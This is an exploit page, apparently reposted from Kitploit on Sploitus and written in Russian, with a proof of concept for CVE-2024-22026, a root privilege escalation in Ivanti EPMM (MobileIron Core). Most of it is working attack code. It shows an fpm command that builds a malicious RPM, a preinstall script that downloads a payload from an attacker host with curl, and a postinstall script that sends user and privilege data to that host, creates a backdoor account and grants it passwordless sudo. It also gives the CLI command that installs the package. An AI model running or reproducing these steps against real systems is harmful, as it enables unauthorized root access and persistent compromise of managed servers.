Sploitus

Exploit for CVE-2024-22026

kitploit · 2026-09-04

Exploit Code

MARKDOWN117 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SECUREKOMODO-CVE-2024-22026
# CVE-2024-22026

**Эксплойт POC для CVE-2024-22026, затрагивающий Ivanti EPMM "MobileIron Core"** ![image](https://assets.kitploit.com/production/public/readmes/32118/3cdb848382459813bda1c6d3a96e33e54448a30a4945970c38a001d226df59dd.png)

CVE-2024-22026 — это уязвимость локального повышения привилегий в версиях сервера Ivanti EPMM (ранее MobileIron) до 12.1.0.0, 12.0.0.0 и 11.12.0.1. Данная уязвимость позволяет локальному атакующему получить root-доступ к системе, эксплуатируя процесс обновления ПО с помощью вредоносного RPM-пакета с удалённого URL-адреса.

Прочитайте полную запись в блоге для получения подробной технической информации: Эксплуатация CVE-2024-22026: получение root-доступа к Ivanti EPMM (MobileIron Core)

## Сведения об уязвимости

  * **CVE ID** : CVE-2024-22026
  * **Серьёзность** : Не определена
  * **Вектор атаки** : Локальный
  * **Воздействие** : Позволяет локальному атакующему получить root-доступ
  * **Затронутые версии** : Версии сервера Ivanti EPMM (ранее MobileIron) до 12.1.0.0, 12.0.0.0 и 11.12.0.1
  * **Наличие исправления** : Исправлено в версиях 12.1.0.0, 12.0.0.0 и 11.12.0.1



## Обнаружение

В ходе нашего исследования мы обнаружили, что устройство использует следующую команду для загрузки и установки RPM-пакетов от имени пользователя с низкими привилегиями:

root@kitploit:~
    
    
    install rpm url <remote url>
    

Эта команда является лишь CLI-обёрткой для следующего действия, которое выполняется с правами root:

root@kitploit:~
    
    
    /bin/rpm -Uvh *.rpm
    

Эта базовая команда rpm не обеспечивает проверку подписей или фильтрацию URL-адресов, что означает возможность установки любого RPM-пакета. Это позволяет атакующему создать и доставить вредоносный RPM-пакет, способный скомпрометировать устройство.

## Эксплуатация POC

### Создание вредоносного RPM-пакета

Для создания вредоносного RPM-пакета используется следующая команда:

root@kitploit:~
    
    
    fpm -s dir -t rpm -n ivanti-privesc -v 13.37 -a i386 --description "Ivanti POC" --maintainer "exploit-poc" --before-install preinstall.sh --after-install postinstall.sh -C .
    

### Сценарий предустановки (`preinstall.sh`)

root@kitploit:~
    
    
    #!/bin/sh
    curl -O http://<attacker_IP>/poc
    exit 0
    

### Сценарий послеустановки (`postinstall.sh`)

root@kitploit:~
    
    
    #!/bin/sh
    set -e  # Enable strict error checking
    
    # Report back current user and privilege level
    CURRENT_USER=$(whoami | base64)
    PRIV_LEVEL=$(id -u | base64)
    
    curl http://<attacker_IP>/poc?user=$CURRENT_USER
    curl http://<attacker_IP>/poc?priv=$PRIV_LEVEL
    
    # Create a new root user
    if ! useradd -s /bin/sh -m exploit-poc; then
      echo "Failed to add user 'exploit-poc'" >&2
      exit 1
    fi
    
    echo "exploit-poc:<redacted_password>" | chpasswd
    
    # Grant root privileges
    if ! echo "exploit-poc ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers; then
      echo "Failed to modify sudoers file" >&2
      exit 1
    fi
    
    exit 0
    

### Выполнение команды CLI для загрузки RPM-пакета

Для эксплуатации уязвимости атакующий должен выполнить следующую команду в CLI, чтобы загрузить и установить вредоносный RPM:

root@kitploit:~
    
    
    install rpm url http://<attacker_IP>/ivanti-privesc-13.37-1.i386.rpm
    

## Меры по устранению

Ivanti выпустила исправления для устранения CVE-2024-22026 в следующих версиях:

  * 12.1.0.0
  * 12.0.0.0
  * 11.12.0.1



## Отказ от ответственности

Этот репозиторий и его содержимое предназначены исключительно для образовательных и исследовательских целей. Использование информации, содержащейся здесь, осуществляется на ваш собственный риск.